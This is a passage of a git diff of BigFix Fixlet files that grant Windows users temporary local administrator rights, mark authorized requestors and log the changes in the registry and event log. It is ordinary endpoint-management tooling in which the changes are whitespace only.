+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Administrators Temporarily - Windows (21369).bes	
@@ -1,101 +1,101 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Add Current User to Administrators Temporarily - Windows
-  ID       : 21369
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-01T07:37:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Add Current User to Administrators Temporarily - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet can be paired with the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to temporarily grant users administrative rights to workstations.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists logged on user</Relevance>
-    <Relevance>not exists members whose (sid of it = sid of logged on user) of local group &quot;administrators&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user administrative rights for 1 hour.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
-
-parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
-
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * hour)}&quot;
-
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * hour)}&quot;
-
-</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action22270">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user administrative rights for 8 hours. </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
-
-parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
-
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (8 * hour)}&quot;
-
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (8 * hour)}&quot;
-
-</ActionScript>
-    </Action>
-    <Action ID="Action22271">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user administrative rights for 1 day. </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
-
-parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
-
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * day)}&quot;
-
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * day)}&quot;
-
-</ActionScript>
-    </Action>
-    <Action ID="Action22272">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant the current user administrative rights for&amp;nbsp;5 days. </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
-
-parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
-
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (5 * day)}&quot;
-
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
-regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (5 * day)}&quot;
-
-</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current User to Administrators Temporarily - Windows
+  ID       : 21369
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-01T07:37:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current User to Administrators Temporarily - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet can be paired with the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to temporarily grant users administrative rights to workstations.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>not exists members whose (sid of it = sid of logged on user) of local group &quot;administrators&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 1 hour.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
+
+parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * hour)}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * hour)}&quot;
+
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action22270">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 8 hours. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
+
+parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (8 * hour)}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (8 * hour)}&quot;
+
+</ActionScript>
+    </Action>
+    <Action ID="Action22271">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for 1 day. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
+
+parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * day)}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (1 * day)}&quot;
+
+</ActionScript>
+    </Action>
+    <Action ID="Action22272">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant the current user administrative rights for&amp;nbsp;5 days. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup &quot;administrators&quot; &quot;{sid of logged on user}&quot; /add
+
+parameter &quot;Timestamp&quot;=&quot;{now as string}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (5 * day)}&quot;
+
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Start&quot;=&quot;{now as string}&quot;
+regset &quot;[HKEY_LOCAL_MACHINE\Software\Admin Expiration History\{parameter &quot;Timestamp&quot;}\{sid of logged on user}]&quot; &quot;Expiration&quot;=&quot;{now + (5 * day)}&quot;
+
+</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Authorized Requestors - Windows (24154).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Authorized Requestors - Windows (24154).bes
index c09ade979..53a4557f4 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Authorized Requestors - Windows (24154).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Authorized Requestors - Windows (24154).bes	
@@ -1,186 +1,186 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Add Current User to Authorized Requestors - Windows
-  ID       : 24154
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-05-02T07:24:42
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Add Current User to Authorized Requestors - Windows</Title>
-    <Description><![CDATA[<P>This Fixlet marks the currently logged on user as being an authorized temporary administrative rights requestor. This can be paired with the other Authorized Admin Requestor content to manage who is allowed to request administrative rights on an endpoint.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists logged on user</Relevance>
-    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
-    <Relevance>not exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
-    <Category>Temporary Administrative Rights</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to add the user as an Authorized Temporary Admin Requestor.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "SIDS"="{component string of sid of logged on user}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (10000000 * week)}"
-parameter "Switches"="-Grant -Requestor"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Add Current User to Authorized Requestors - Windows
+  ID       : 24154
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:24:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Add Current User to Authorized Requestors - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet marks the currently logged on user as being an authorized temporary administrative rights requestor. This can be paired with the other Authorized Admin Requestor content to manage who is allowed to request administrative rights on an endpoint.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists logged on user</Relevance>
+    <Relevance>/* exclude Built-In Administrator */ component string of sid of logged on user does not start with &quot;S-1-5-21-&quot; or component string of sid of logged on user does not end with &quot;-500&quot;</Relevance>
+    <Relevance>not exists key (component string of sid of logged on user as string) of keys &quot;HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Authorized Requestors\Current&quot; of x32 registry</Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to add the user as an Authorized Temporary Admin Requestor.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "SIDS"="{component string of sid of logged on user}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (10000000 * week)}"
+parameter "Switches"="-Grant -Requestor"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Remote Desktop Users - Windows (24406).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Remote Desktop Users - Windows (24406).bes
index 33af957fe..d7ff03c4d 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Remote Desktop Users - Windows (24406).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Add Current User to Remote Desktop Users - Windows (24406).bes	
@@ -1,41 +1,41 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Add Current User to Remote Desktop Users - Windows
-  ID       : 24406
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-06-06T09:51:41
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
